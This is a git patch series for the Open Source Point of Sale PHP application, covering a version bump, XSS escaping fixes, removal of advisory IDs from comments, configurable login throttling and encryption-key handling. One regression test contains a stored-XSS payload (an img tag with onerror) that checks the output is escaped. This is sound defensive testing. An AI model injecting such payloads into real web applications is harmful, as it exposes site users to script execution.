dompurify from 3.4.12 to 3.4.13 (#4639) by @dependabot[bot] +- Reject item CSV imports whose header row is missing required columns (#4597) by @Sai Asish Y +- fix(items): validate item_number and skip receiving quantity default for temp items (#4621) by @objecttothis +- Feature: CodeIgniter Throttler (#4619) by @objecttothis +- Bugfix: Resolve Race Condition in Rewards and Gift Card Spending (#4640) by @objecttothis +- hotfix(auth): hash throttler keys to improve security (#4646) by @objecttothis +- fix(items): add explicit sentinel value for clearing supplier in bulk edit (#4617) by @objecttothis +- Codeigniter changes between 4.7.2 and 4.7.4 (#4650) by @objecttothis +- Hotfix: Fix CI3 database migration caused by regression (#4649) by @objecttothis +- fix(sales): gate per-record endpoints behind reports_sales grant (#4627) by @objecttothis +- fix(email): update method call to camelCase for PSR-12 compliance (#4659) by @objecttothis +- Feature admin account safeguards (#4657) by @objecttothis +- Ensure payload data is escaped to prevent XSS (#4664) by @objecttothis +- fix(sales): enforce reports_sales grant on search endpoint (#4673) by @objecttothis +- fix(reports, home): resolve double-URL-decoding bypass for method grants (#4660) (#4666) by @objecttothis +- Bugfix tax names (#4677) by @objecttothis +- feat(validation, tests): add `valid_path_strict` rule and integrate into mailpath validation (#4684) by @objecttothis +- fix(sales): harden payment validation and gift card handling by @objecttothis +- fix: prevent duplicate items when editing imported rows (#4634) by @richardmilles +- fix(barcode): resolve string interpolation issue in barcode display html (#4692) by @Vighnesh Nilajakar +- fix(sales): gate getSearch behind reports_sales grant by @jekkos +- bugfix(sales): reject non-negative gift-card amount_tendered (#4674) by @jekkos +- fix(sales): harden unsuspend with auth, status gating, and null safety by @objecttothis +- fix(tests): resolve all phpunit failures — clean-DB suite green (#4626) (#4691) by @jekkos +- fix(licenses): guard malformed data, parallelize gulp tasks, require Node 20 by @objecttothis +- fix(validation): broaden sendmail path regex, expand i18n, strip advisory IDs by @objecttothis +- fix(security): handle special characters in `.env` key values and improve insertion logic (#4656) by @objecttothis +- fix(locale): validate language_code against known locales to block path traversal (#4704) by @jekkos +- Fix GHSA-frx7-c5vv-m3mr: recompute cashup total server-side and force owner identity (#4706) by @jekkos +- feat(security): add THROTTLE_KEY env-var fallback for throttle.key (#4707) by @jekkos +- fix(i18n): translate remaining English labels in Swiss German Items.php (#4701) by @Rayan Abdul Cader +- fix(ci): stop stamping app version onto master and branch Docker tags (#4709) by @jekkos +- chore(deps): bump fflate from 0.8.2 to 0.8.3 (#4690) by @dependabot[bot] +- fix(i18n): swap print_delay_autoreturn number/required messages in 5 locales (#4699) by @Rayan Abdul Cader +- chore(release): unified git-cliff release workflow (changelog + tag + optional bump) (#4711) by @jekkos +- fix(release): push changelog/bump to master via admin PAT (GITHUB_TOKEN blocked by branch protection) by @jekkos + ## [3.4.1] - 2025-06-05 - Feature: PSR-12 Compliant Indentation by @objecttothis in ([#4196](https://github.com/opensourcepos/opensourcepos/pull/4196)) - Add .env to dist zip by @jekkos in ([#4199](https://github.com/opensourcepos/opensourcepos/pull/4199)) From 60f6c8f5d0c20b4f412722b48ca9ef6e180178d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 24 Sep 2026 20:52:03 +0000 Subject: [PATCH 14/31] chore: bump version to 3.4.3 --- app/Config/App.php | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/app/Config/App.php b/app/Config/App.php index ae61e7933..69fabf65d 100644 --- a/app/Config/App.php +++ b/app/Config/App.php @@ -12,7 +12,7 @@ class App extends BaseConfig * * @var string */ - public string $application_version = '3.4.2'; + public string $application_version = '3.4.3'; /** * This is the commit hash for the version you are currently using. diff --git a/package.json b/package.json index f2546ba4a..13e735c21 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@opensourcepos/opensourcepos", - "version": "3.4.2", + "version": "3.4.3", "description": "Open Source Point of Sale is a web based point of sale system written in the PHP language. It uses MySQL as the data storage back-end and has a simple user interface.", "keywords": [ "point-of-sale", From dc1accc65a5774fff9a2f22dfab8abdd4d37029b Mon Sep 17 00:00:00 2001 From: jekkos Date: Mon, 28 Sep 2026 08:44:37 +0200 Subject: [PATCH 15/31] fix(security): HTML-escape attribute dropdown option labels in items attributes view (#4715) --- app/Views/attributes/item.php | 4 +-- tests/Controllers/ItemsControllerTest.php | 30 +++++++++++++++++++++++ 2 files changed, 32 insertions(+), 2 deletions(-) diff --git a/app/Views/attributes/item.php b/app/Views/attributes/item.php index b807dc10c..75dff9927 100644 --- a/app/Views/attributes/item.php +++ b/app/Views/attributes/item.php @@ -12,7 +12,7 @@
'definition_name', - 'options' => $definition_names, + 'options' => esc($definition_names), 'selected' => -1, 'class' => 'form-control', 'id' => 'definition_name' @@ -45,7 +45,7 @@ $selected_value = $definition_value['selected_value']; echo form_dropdown([ 'name' => "attribute_links[$definition_id]", - 'options' => $definition_value['values'], + 'options' => esc($definition_value['values']), 'selected' => $selected_value, 'class' => 'form-control', 'data-definition-id' => $definition_id diff --git a/tests/Controllers/ItemsControllerTest.php b/tests/Controllers/ItemsControllerTest.php index b584a63ea..895f87868 100644 --- a/tests/Controllers/ItemsControllerTest.php +++ b/tests/Controllers/ItemsControllerTest.php @@ -189,6 +189,36 @@ class ItemsControllerTest extends CIUnitTestCase $this->assertTrue($result['success']); } + /** + * Regression test for GHSA-cm7j-957q-8pgg: an attribute definition whose + * `definition_name` contains HTML must be entity-escaped when rendered in the + * items attributes dropdown, not emitted as a live (executable) tag. + */ + public function testGetAttributesEscapesMaliciousDefinitionName(): void + { + $employeeId = $this->createItemsEmployee(); + $this->loginAsItemsEmployee($employeeId); + + $payload = ''; + + $definitionData = [ + 'definition_name' => $payload, + 'definition_type' => TEXT, + 'definition_flags' => 0, + 'deleted' => 0, + ]; + $this->assertTrue($this->attribute->saveDefinition($definitionData)); + $this->assertNotEmpty($definitionData['definition_id']); + + $response = $this->get('/items/attributes/1'); + $output = (string) $response->getBody(); + + // A live, unescaped tag in the dropdown label is the stored-XSS sink. + $this->assertStringNotContainsString($payload, $output); + // The payload must be present only in entity-escaped form. + $this->assertStringContainsString('<img src=x onerror=alert(1)>', $output); + } + public function testGenerateCsvHeaderBasic(): void { $stockLocations = ['Warehouse']; From 9cafea0eed6ef570e8af585be5bc353aca0d6eaf Mon Sep 17 00:00:00 2001 From: jekkos Date: Tue, 29 Sep 2026 13:16:18 +0200 Subject: [PATCH 16/31] fix(release): keep package-lock.json version in sync on bump (#4718) * fix(release): keep package-lock.json version in sync on bump The release bump step updated app/Config/App.php and package.json but left package-lock.json on the old version, so the lockfile drifted out of sync with package.json on every release. Bump the @opensourcepos/ opensourcepos package version in package-lock.json (top-level and packages."") using the same scoped approach, and stage it in the bump commit. Fixes #4717 * fix(release): sync package-lock.json to 3.4.3 on master Bump the @opensourcepos/opensourcepos version in package-lock.json (top-level + packages."") from 3.4.2 to 3.4.3 to match package.json, which was already bumped during the 3.4.3 dev bump. This repairs the current drift introduced by the bump commit so the upcoming 3.4.3 release ships with package.json and package-lock.json in sync. Part of #4717 --- .github/workflows/release.yml | 10 +++++++++- package-lock.json | 4 ++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 939dca9a8..c9f306ce8 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -138,6 +138,13 @@ jobs: sed -i "s/public string \\\$application_version = '[^']*';/public string \\\$application_version = '$NEXT';/" app/Config/App.php sed -i "s/\"version\": \"[^\"]*\",/\"version\": \"$NEXT\",/" package.json + # Keep package-lock.json in sync: bump only the @opensourcepos/opensourcepos + # package version (top-level + packages.""), leave dependency versions alone. + awk -v v="$NEXT" ' + /"name": "@opensourcepos\/opensourcepos"/ { expect=1 } + expect && /"version": / { sub(/"version": "[^"]*"/, "\"version\": \"" v "\""); expect=0 } + { print } + ' package-lock.json > .package-lock.tmp && mv .package-lock.tmp package-lock.json # Update the "latest X.Y version" README line only when major.minor changes NEW_MM=$(echo "$NEXT" | cut -d. -f1,2) OLD_MM=$(echo "$CURRENT" | cut -d. -f1,2) @@ -148,10 +155,11 @@ jobs: echo "=== version refs after bump ===" grep "application_version" app/Config/App.php grep '"version"' package.json | head -1 + grep -A1 '"name": "@opensourcepos/opensourcepos"' package-lock.json git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" - git add app/Config/App.php package.json + git add app/Config/App.php package.json package-lock.json [ "$NEW_MM" != "$OLD_MM" ] && git add README.md git commit -m "chore: bump version to $NEXT" git push origin HEAD diff --git a/package-lock.json b/package-lock.json index 5ef9efa33..13a032102 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "@opensourcepos/opensourcepos", - "version": "3.4.2", + "version": "3.4.3", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@opensourcepos/opensourcepos", - "version": "3.4.2", + "version": "3.4.3", "license": "MIT", "dependencies": { "bootstrap": "^3.4.1", From 5d56c2cecd6372f58cbfa134a23a2b5fc96418d3 Mon Sep 17 00:00:00 2001 From: jekkos Date: Tue, 29 Sep 2026 13:19:10 +0200 Subject: [PATCH 17/31] fix(security): strip all HTML tags from $.notify alert messages (#4716) --- app/Views/partial/header_js.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/Views/partial/header_js.php b/app/Views/partial/header_js.php index 057324db1..f3f38003e 100644 --- a/app/Views/partial/header_js.php +++ b/app/Views/partial/header_js.php @@ -21,7 +21,7 @@ $.notify = function(content, options) { const message = typeof content === "object" ? content.message : content; - const sanitizedMessage = DOMPurify.sanitize(message); + const sanitizedMessage = DOMPurify.sanitize(message, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] }); return notify(sanitizedMessage, options); }; From 9eaa2f34f305fe1c2415ca112844b0dc2be53816 Mon Sep 17 00:00:00 2001 From: jekkos Date: Wed, 30 Sep 2026 15:49:18 +0200 Subject: [PATCH 18/31] chore: strip advisory IDs from code comments and changelog (#4720) Per the project's policy of treating security advisory IDs as secret-like, remove the identifiers embedded in source/test comments and CHANGELOG entries. Each keeps its human-readable description (and PR number where present), so traceability is preserved. No logic changes. --- CHANGELOG.md | 12 ++++++------ app/Config/App.php | 2 +- app/Models/Item.php | 2 +- tests/Controllers/HomeTest.php | 10 +++++----- tests/Controllers/ItemKitsControllerTest.php | 2 +- tests/Controllers/ItemsControllerTest.php | 4 ++-- tests/Controllers/LoginTest.php | 2 +- tests/Controllers/ReportsControllerTest.php | 2 +- tests/Controllers/SalesControllerTest.php | 2 +- tests/Models/CustomerRewardPointsTest.php | 2 +- tests/Models/GiftcardTest.php | 2 +- tests/Models/ItemBulkUpdateTest.php | 2 +- tests/Models/ItemQuantityTest.php | 2 +- tests/Models/ReceivingTest.php | 2 +- tests/Models/SaleTest.php | 2 +- 15 files changed, 25 insertions(+), 25 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index aef9932b9..b0ee0efac 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -101,7 +101,7 @@ All notable changes to this project will be documented in this file. - Fix: Preserve CHECKBOX attribute state when adding attributes (#4385) by @jekkos - Fix payment type becoming null when editing sales by @Ollama - Fix broken SQL injection fix - use havingLike() instead of having() with named params by @Ollama -- Fix mass assignment vulnerability in bulk edit (GHSA-49mq-h2g4-grr9) by @Ollama +- Fix mass assignment vulnerability in bulk edit by @Ollama - Sync language files (#3468) by @Ollama - Add workflow to auto-update issue templates with releases by @Ollama - Update SECURITY.md with published security advisories by @Ollama @@ -109,15 +109,15 @@ All notable changes to this project will be documented in this file. - Add filter persistence for table views via URL query string (#4400) by @jekkos - Fix filter persistence javascript issues (#4400) by @jekkos - Fix PHPUnit test configuration for database connectivity (#4430) by @jekkos -- Fix IDOR vulnerability in password change (GHSA-mcc2-8rp2-q6ch) (#4427) by @jekkos +- Fix IDOR vulnerability in password change (#4427) by @jekkos - Fix XSS vulnerability in tax invoice view (#4432) by @jekkos - Fix permission bypass in Sales.getManage() access control (#4428) by @jekkos - Update SECURITY.md with published security advisories (#4431) by @jekkos - Fix SQL injection in suggestions column configuration (#4421) by @jekkos - Fix PHPUnit environment variables not being set (#4434) by @jekkos - Fix DECIMAL attribute not respecting locale format (#4422) by @jekkos -- Fix stored XSS vulnerability in Attribute Definitions (GHSA-rvfg-ww4r-rwqf) (#4429) by @jekkos -- Fix: Host Header Injection vulnerability (GHSA-jchf-7hr6-h4f3) by @Ollama +- Fix stored XSS vulnerability in Attribute Definitions (#4429) by @jekkos +- Fix: Host Header Injection vulnerability by @Ollama - Fix stored XSS in gcaptcha_site_key on login page by @Ollama - Fix stored XSS via stock location name by @Ollama - Fix Token_lib::render() for PHP 8.4 compatibility by @Ollama @@ -149,7 +149,7 @@ All notable changes to this project will be documented in this file. - fix: Use file-based session until database is migrated by @Ollama - feat: Improve migration UX on login page by @Ollama - Disable opencode workflow + run docker build by @jekkos -- Fix negative price/quantity/discount validation (GHSA-wv3j-pp8r-7q43) (#4450) by @Nozomu Sasaki (Paul) +- Fix negative price/quantity/discount validation (#4450) by @Nozomu Sasaki (Paul) - fix(ci): replace / with _ in branch names for Docker tags by @Ollama - fix(security): prevent command injection in sendmail path configuration by @Ollama - fix(security): prevent SQL injection in tax controller sort columns by @Ollama @@ -254,7 +254,7 @@ All notable changes to this project will be documented in this file. - fix(validation): broaden sendmail path regex, expand i18n, strip advisory IDs by @objecttothis - fix(security): handle special characters in `.env` key values and improve insertion logic (#4656) by @objecttothis - fix(locale): validate language_code against known locales to block path traversal (#4704) by @jekkos -- Fix GHSA-frx7-c5vv-m3mr: recompute cashup total server-side and force owner identity (#4706) by @jekkos +- Fix: recompute cashup total server-side and force owner identity (#4706) by @jekkos - feat(security): add THROTTLE_KEY env-var fallback for throttle.key (#4707) by @jekkos - fix(i18n): translate remaining English labels in Swiss German Items.php (#4701) by @Rayan Abdul Cader - fix(ci): stop stamping app version onto master and branch Docker tags (#4709) by @jekkos diff --git a/app/Config/App.php b/app/Config/App.php index 69fabf65d..de204b036 100644 --- a/app/Config/App.php +++ b/app/Config/App.php @@ -307,7 +307,7 @@ class App extends BaseConfig /** * Validates and returns a trusted hostname. * - * Security: Prevents Host Header Injection attacks (GHSA-jchf-7hr6-h4f3) + * Security: Prevents Host Header Injection attacks * by validating the HTTP_HOST against a whitelist of allowed hostnames. * * In production: Fails fast if allowedHostnames is not configured. diff --git a/app/Models/Item.php b/app/Models/Item.php index 1268839a3..f8cd99175 100644 --- a/app/Models/Item.php +++ b/app/Models/Item.php @@ -529,7 +529,7 @@ class Item extends Model */ public function updateMultiple(array $itemData, string $itemIds): bool { - // Query Builder bypasses $allowedFields, so the whitelist is enforced here (GHSA-49mq-h2g4-grr9) + // Query Builder bypasses $allowedFields, so the whitelist is enforced here $itemData = array_intersect_key($itemData, array_flip(self::ALLOWED_BULK_EDIT_FIELDS)); if (empty($itemData)) { diff --git a/tests/Controllers/HomeTest.php b/tests/Controllers/HomeTest.php index d8821c37a..d10c8c650 100644 --- a/tests/Controllers/HomeTest.php +++ b/tests/Controllers/HomeTest.php @@ -303,7 +303,7 @@ class HomeTest extends CIUnitTestCase /** * Test non-admin cannot view admin password change form - * BOLA vulnerability fix: GHSA-q58g-gg7v-f9rf + * BOLA vulnerability fix. * * @return void */ @@ -319,7 +319,7 @@ class HomeTest extends CIUnitTestCase /** * Test non-admin cannot change admin password - * BOLA vulnerability fix: GHSA-q58g-gg7v-f9rf + * BOLA vulnerability fix. * * @return void */ @@ -448,7 +448,7 @@ class HomeTest extends CIUnitTestCase /** * Test non-admin cannot view another non-admin's password form - * IDOR vulnerability fix: GHSA-mcc2-8rp2-q6ch + * IDOR vulnerability fix. * * @return void */ @@ -470,7 +470,7 @@ class HomeTest extends CIUnitTestCase /** * Test non-admin cannot change another non-admin's password - * IDOR vulnerability fix: GHSA-mcc2-8rp2-q6ch + * IDOR vulnerability fix. * * @return void */ @@ -503,7 +503,7 @@ class HomeTest extends CIUnitTestCase } /** - * Regression test for GHSA-9gr6-4mm4-4wrq: Home::__construct() previously + * Regression test: Home::__construct() previously * read the raw (single-decoded) URI segment to decide whether to skip * Secure_Controller's module-grant check for 'logout'. A route whose * double-decoded method name resolves to 'logout' must still be treated diff --git a/tests/Controllers/ItemKitsControllerTest.php b/tests/Controllers/ItemKitsControllerTest.php index 566516c40..cfdfca983 100644 --- a/tests/Controllers/ItemKitsControllerTest.php +++ b/tests/Controllers/ItemKitsControllerTest.php @@ -111,7 +111,7 @@ class ItemKitsControllerTest extends CIUnitTestCase $itemKitId = $this->createItemKit(); $this->loginAsAdmin(); - // URL-encoded three times (GHSA-3vpv-jqr3-7256 PoC). + // URL-encoded three times. // The framework's router decodes this twice before routing; the controller used to apply // a third urldecode(), turning the remaining %3C.../%3E into a live tag. // With that urldecode() removed, the value must stay percent-encoded text and never diff --git a/tests/Controllers/ItemsControllerTest.php b/tests/Controllers/ItemsControllerTest.php index 895f87868..1f73c73e5 100644 --- a/tests/Controllers/ItemsControllerTest.php +++ b/tests/Controllers/ItemsControllerTest.php @@ -103,7 +103,7 @@ class ItemsControllerTest extends CIUnitTestCase } /** - * Regression test for GHSA-92cx-fc8x-7wmm: `tax_names[]` containing `<`/`>` + * Regression test: `tax_names[]` containing `<`/`>` * (the stored-XSS vector) must be rejected by postSave. */ public function testPostSaveRejectsMaliciousTaxName(): void @@ -190,7 +190,7 @@ class ItemsControllerTest extends CIUnitTestCase } /** - * Regression test for GHSA-cm7j-957q-8pgg: an attribute definition whose + * Regression test: an attribute definition whose * `definition_name` contains HTML must be entity-escaped when rendered in the * items attributes dropdown, not emitted as a live (executable) tag. */ diff --git a/tests/Controllers/LoginTest.php b/tests/Controllers/LoginTest.php index 8378f98e5..8d75c3134 100644 --- a/tests/Controllers/LoginTest.php +++ b/tests/Controllers/LoginTest.php @@ -9,7 +9,7 @@ use CodeIgniter\Test\FeatureTestTrait; /** * Test suite for the Login controller, including the CI Throttler - * mitigation for brute-force/credential-stuffing (GHSA-hm9c-xchj-xgcp). + * mitigation for brute-force/credential-stuffing. */ class LoginTest extends CIUnitTestCase { diff --git a/tests/Controllers/ReportsControllerTest.php b/tests/Controllers/ReportsControllerTest.php index 7960f508d..c2f59979c 100644 --- a/tests/Controllers/ReportsControllerTest.php +++ b/tests/Controllers/ReportsControllerTest.php @@ -10,7 +10,7 @@ use App\Models\Employee; use Config\OSPOS; /** - * Regression tests for GHSA-9gr6-4mm4-4wrq + * Regression tests for the reports permission bypass * * Reports::__construct() previously derived the report method name from * $request->getUri()->getSegment(2), which CodeIgniter decodes once, while diff --git a/tests/Controllers/SalesControllerTest.php b/tests/Controllers/SalesControllerTest.php index d0b5dec6e..08e643c1a 100644 --- a/tests/Controllers/SalesControllerTest.php +++ b/tests/Controllers/SalesControllerTest.php @@ -14,7 +14,7 @@ use Tests\Support\EmployeeFixtureTrait; use Tests\Support\SaleFixtureTrait; /** - * Regression tests for GHSA-3xf6-8fmq-44wg. + * Regression tests for the Sales per-endpoint access-control bypass. * * A cashier holding only the base "sales" grant (no "reports_sales") must * not be able to reach the per-sale endpoints that getManage() gates diff --git a/tests/Models/CustomerRewardPointsTest.php b/tests/Models/CustomerRewardPointsTest.php index 7671a1d8d..7e89a29d4 100644 --- a/tests/Models/CustomerRewardPointsTest.php +++ b/tests/Models/CustomerRewardPointsTest.php @@ -9,7 +9,7 @@ use Config\Database; use Tests\Support\ConcurrentDbRaceTrait; /** - * Regression tests for GHSA-995p-52qw-5hh2: adjustRewardPoints() must apply + * Regression tests: adjustRewardPoints() must apply * its balance check and its write in a single atomic UPDATE, so that two * concurrent reward-point spends against the same customer can never both * read the same stale balance and double-spend it. diff --git a/tests/Models/GiftcardTest.php b/tests/Models/GiftcardTest.php index e57b88cd9..d097cd673 100644 --- a/tests/Models/GiftcardTest.php +++ b/tests/Models/GiftcardTest.php @@ -9,7 +9,7 @@ use Config\Database; use Tests\Support\ConcurrentDbRaceTrait; /** - * Regression tests for GHSA-995p-52qw-5hh2: decrementGiftcardValue() must + * Regression tests: decrementGiftcardValue() must * apply its balance check and its write in a single atomic UPDATE, so that * two concurrent decrements against the same gift card can never both read * the same stale balance and double-spend it. diff --git a/tests/Models/ItemBulkUpdateTest.php b/tests/Models/ItemBulkUpdateTest.php index a48e2d547..4e1cdcb5a 100644 --- a/tests/Models/ItemBulkUpdateTest.php +++ b/tests/Models/ItemBulkUpdateTest.php @@ -7,7 +7,7 @@ use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\DatabaseTestTrait; /** - * Regression coverage for GHSA-49mq-h2g4-grr9 (mass assignment in bulk edit). + * Regression coverage for mass assignment in bulk edit. * * Item::update_multiple() writes through the Query Builder, which bypasses the * model's $allowedFields, so these assertions go straight to the items table. diff --git a/tests/Models/ItemQuantityTest.php b/tests/Models/ItemQuantityTest.php index b564fb097..8ca38a267 100644 --- a/tests/Models/ItemQuantityTest.php +++ b/tests/Models/ItemQuantityTest.php @@ -10,7 +10,7 @@ use Tests\Support\ConcurrentDbRaceTrait; use Tests\Support\ItemFixtureTrait; /** - * Regression tests for GHSA-995p-52qw-5hh2: changeQuantity() must apply + * Regression tests: changeQuantity() must apply * its write in a single atomic upsert, so that two concurrent sales of the * same item/location can never both read the same stale quantity and * oversell stock. Unlike the gift card and reward point spends, there is diff --git a/tests/Models/ReceivingTest.php b/tests/Models/ReceivingTest.php index 106d9e3a3..318727b09 100644 --- a/tests/Models/ReceivingTest.php +++ b/tests/Models/ReceivingTest.php @@ -9,7 +9,7 @@ use Tests\Support\EmployeeFixtureTrait; use Tests\Support\ItemFixtureTrait; /** - * Regression tests for GHSA-995p-52qw-5hh2: Receiving::delete_value() must + * Regression tests: Receiving::delete_value() must * correctly reverse the stock quantity change it applied via * Item_quantity::changeQuantity(), using the same atomic upsert as the * sale-checkout and sale-cancel paths. diff --git a/tests/Models/SaleTest.php b/tests/Models/SaleTest.php index 4dffad438..aff3b79c5 100644 --- a/tests/Models/SaleTest.php +++ b/tests/Models/SaleTest.php @@ -10,7 +10,7 @@ use Tests\Support\EmployeeFixtureTrait; use Tests\Support\ItemFixtureTrait; /** - * Regression tests for GHSA-995p-52qw-5hh2: Sale::save_value() must reject + * Regression tests: Sale::save_value() must reject * (and roll back) a payment that would overdraw a gift card or a customer's * reward points, instead of silently applying a stale/negative balance. */ From b9ad77ba07e3304133b040615d07c5284f24e426 Mon Sep 17 00:00:00 2001 From: jekkos Date: Wed, 30 Sep 2026 15:50:11 +0200 Subject: [PATCH 19/31] fix(security): report unwritable .env.lock, make throttle limits configurable (#4714) * fix(security): report unwritable .env.lock, make throttle limits configurable envFileIsWritable() previously checked is_writable(.env) (the file), which passes in Docker even when the mutex file is root-owned by a prior env:provision run. It now checks the real write path: the directory (to create .env.tmp.* + .env.lock) and any existing .env.lock must be writable, so the app throws the clear 'run env:provision' error instead of crashing on 'Unable to open .env.lock'. The Throttle filter now reads throttle.capacity / throttle.seconds from env (default 5 per 60s); capacity <= 0 disables throttling, so operators serving sequential HTTP clients (e.g. Zabbix) are not caught by the lockout. * fix(security): address CodeRabbit review findings - Throttle: validate throttle.capacity as an integer before treating a non-positive value as 'disabled', so a non-numeric value (e.g. 'five') falls back to the default instead of silently bypassing the lockout. Apply the same validation to throttle.seconds. - envFileIsWritable(): also reject an existing non-writable .env on Windows (where rename() cannot replace a read-only destination); keep the check Windows-only since POSIX rename() replaces a read-only dest when the directory is writable. - Tests: restore the prior throttle.capacity env state in ThrottleTest (capture/restore instead of delete); add an invalid-capacity fallback case; skip the not-writable fixtures when running as root (where is_writable() is bypassed). * fix(migration): guard ConvertToCI4 key-write branches with envFileIsWritable() The migration's 'no key' and 'CI3 key' branches called rotateEncryptionKey()/rotateEncryptionKeyTransaction() directly, bypassing the envFileIsWritable() guard that checkEncryption() uses. On a fresh Docker/Compose install where the web runtime cannot write /app/.env.lock, this produced a raw 'fopen(/app/.env.lock): Permission denied' error instead of the actionable 'run php spark env:provision' message. A valid CI4 key now short-circuits to checkEncryption() (no write); every write branch is gated on envFileIsWritable() first. * fix: read provisioned encryption.key so config sees it env:provision persists the key as 'encryption.key' in .env (matching the throttle path and .env.example), but Config\Encryption only read the ENCRYPTION_KEY env var. On a fresh Docker instance the provisioned key was invisible to config('Encryption')->key, so the app believed no key existed and tried to write one -- hitting the .env.lock permission wall. Read encryption.key (via $_SERVER/$_ENV/getenv) first, then fall back to ENCRYPTION_KEY for Docker '-e' usage. Mirrors checkThrottleEncryption(). * fix: cascade encryption.key lookup past empty-string sources * refactor: extract Encryption::resolveKey() and test it without global env mutation * fix(security): decode fallback-selected encryption key like BaseConfig A key picked in the constructor fallback (notably ENCRYPTION_KEY, which BaseConfig never inspects) was assigned verbatim, bypassing the hex2bin:/base64: decode the parent applies to `encryption.key`. Route the selected key through a parseKey() helper mirroring BaseConfig's parseEncryptionKey() so prefixed values decrypt consistently, and add a pure regression test. Co-Authored-By: Claude Opus 4.8 (1M context) * chore: remove advisory ID from comments and tighten verbose comments Per review: treat GHSA advisory IDs like secrets (drop from code) and replace the multi-paragraph comments with concise one-liners that keep the non-obvious "why". No logic changes. --------- Co-authored-by: objecttothis <17935339+objecttothis@users.noreply.github.com> Co-authored-by: Claude Opus 4.8 (1M context) --- app/Config/Encryption.php | 43 +++++++- .../20220127000000_convertToCI4.php | 22 ++++- app/Filters/Throttle.php | 33 +++++-- app/Helpers/security_helper.php | 29 +++++- tests/Config/EncryptionTest.php | 54 ++++++++++ tests/Filters/ThrottleTest.php | 98 +++++++++++++++++++ tests/helpers/security_helperTest.php | 63 +++++++++--- 7 files changed, 310 insertions(+), 32 deletions(-) create mode 100644 tests/Config/EncryptionTest.php diff --git a/app/Config/Encryption.php b/app/Config/Encryption.php index 9147e1031..310a5a174 100644 --- a/app/Config/Encryption.php +++ b/app/Config/Encryption.php @@ -112,8 +112,47 @@ class Encryption extends BaseConfig parent::__construct(); if ($this->key === '') { - $envKey = getenv('ENCRYPTION_KEY'); - $this->key = $envKey === false ? '' : $envKey; + // Fallback sources (notably the ENCRYPTION_KEY Docker var, which the + // parent never reads) were not decode-parsed, so run them through + // the same parser to keep hex2bin:/base64: keys consistent. + $this->key = self::parseKey(self::resolveKey( + (string) ($_SERVER['encryption.key'] ?? ''), + (string) ($_ENV['encryption.key'] ?? ''), + (string) getenv('encryption.key'), + (string) getenv('ENCRYPTION_KEY'), + )); } } + + /** + * Decode a key's `hex2bin:`/`base64:` prefix, mirroring + * BaseConfig::parseEncryptionKey(); kept static so it is unit-testable. + */ + public static function parseKey(string $key): string + { + if (str_starts_with($key, 'hex2bin:')) { + return (string) hex2bin(substr($key, 8)); + } + + if (str_starts_with($key, 'base64:')) { + return (string) base64_decode(substr($key, 7), true); + } + + return $key; + } + + /** + * Return the first non-empty source (highest precedence first). Cascading + * past empty strings (vs `??`) avoids a blank value shadowing the real key. + */ + public static function resolveKey(string ...$sources): string + { + foreach ($sources as $source) { + if ($source !== '') { + return $source; + } + } + + return ''; + } } diff --git a/app/Database/Migrations/20220127000000_convertToCI4.php b/app/Database/Migrations/20220127000000_convertToCI4.php index 1f005cfe1..f860c7aaa 100644 --- a/app/Database/Migrations/20220127000000_convertToCI4.php +++ b/app/Database/Migrations/20220127000000_convertToCI4.php @@ -7,6 +7,7 @@ use CodeIgniter\Database\Exceptions\DatabaseException; use CodeIgniter\Database\Forge; use CodeIgniter\Database\Migration; use CodeIgniter\HTTP\Exceptions\RedirectException; +use RuntimeException; class ConvertToCI4 extends Migration { @@ -32,18 +33,31 @@ class ConvertToCI4 extends Migration $existingKey = (string) config('Encryption')->key; + // A valid CI4 key requires no write — just confirm it is usable. + if ($existingKey !== '' && strlen($existingKey) >= 64) { + checkEncryption(); + + return; + } + + // Every branch below writes to .env. If the runtime user cannot write + // it (e.g. Docker/Compose with a read-only .env mount), fail with an + // actionable message instead of a raw fopen() error deep in the writer. + if (!envFileIsWritable()) { + log_message('critical', 'Encryption key not provisioned and .env is not writable. Run `php spark env:provision` to generate one.'); + + throw new RuntimeException(lang('Error.encryption_key_not_provisioned')); + } + if ($existingKey !== '' && strlen($existingKey) < 64) { // Old CI3-era key: decrypt, rotate, re-encrypt, persist — all under // a single .env lock (see convertCI3EncryptedData). $this->convertCI3EncryptedData($existingKey); - } elseif ($existingKey === '') { + } else { // No key at all: provision a fresh one (single atomic write), then // drop the incidental pre-write backup left behind by the rotation. rotateEncryptionKey(null); removeBackup(); - } else { - // Key already present and a valid CI4 key: confirm it is usable. - checkEncryption(); } } diff --git a/app/Filters/Throttle.php b/app/Filters/Throttle.php index 75ca63a79..ca4a558ab 100644 --- a/app/Filters/Throttle.php +++ b/app/Filters/Throttle.php @@ -8,22 +8,37 @@ use CodeIgniter\HTTP\ResponseInterface; use Config\Services; /** - * Rate limits login/migrate POST attempts, keyed by IP and by submitted - * username, to mitigate brute-force and credential-stuffing attacks - * (GHSA-hm9c-xchj-xgcp). Backed by CodeIgniter's cache-based Throttler, - * so limits are per-server (not shared across nodes on file cache). + * Rate limits login/migrate POST attempts by IP and submitted username to + * mitigate brute-force/credential-stuffing. Backed by CodeIgniter's + * cache-based Throttler, so limits are per-server (not shared on file cache). + * + * Tunable via `throttle.capacity` (default 5; 0 disables) and + * `throttle.seconds` (window, default 60) in .env. */ class Throttle implements FilterInterface { - private const CAPACITY = 5; - private const SECONDS = 60; - public function before(RequestInterface $request, $arguments = null) { if ($request->getMethod() !== 'POST') { return null; } + // Non-positive integer = explicit disable; missing/non-numeric falls + // back to the default so a typo (e.g. "five") cannot bypass lockout. + $capacity = filter_var(env('throttle.capacity'), FILTER_VALIDATE_INT); + if ($capacity === false) { + $capacity = 5; + } + if ($capacity <= 0) { + return null; + } + + $seconds = 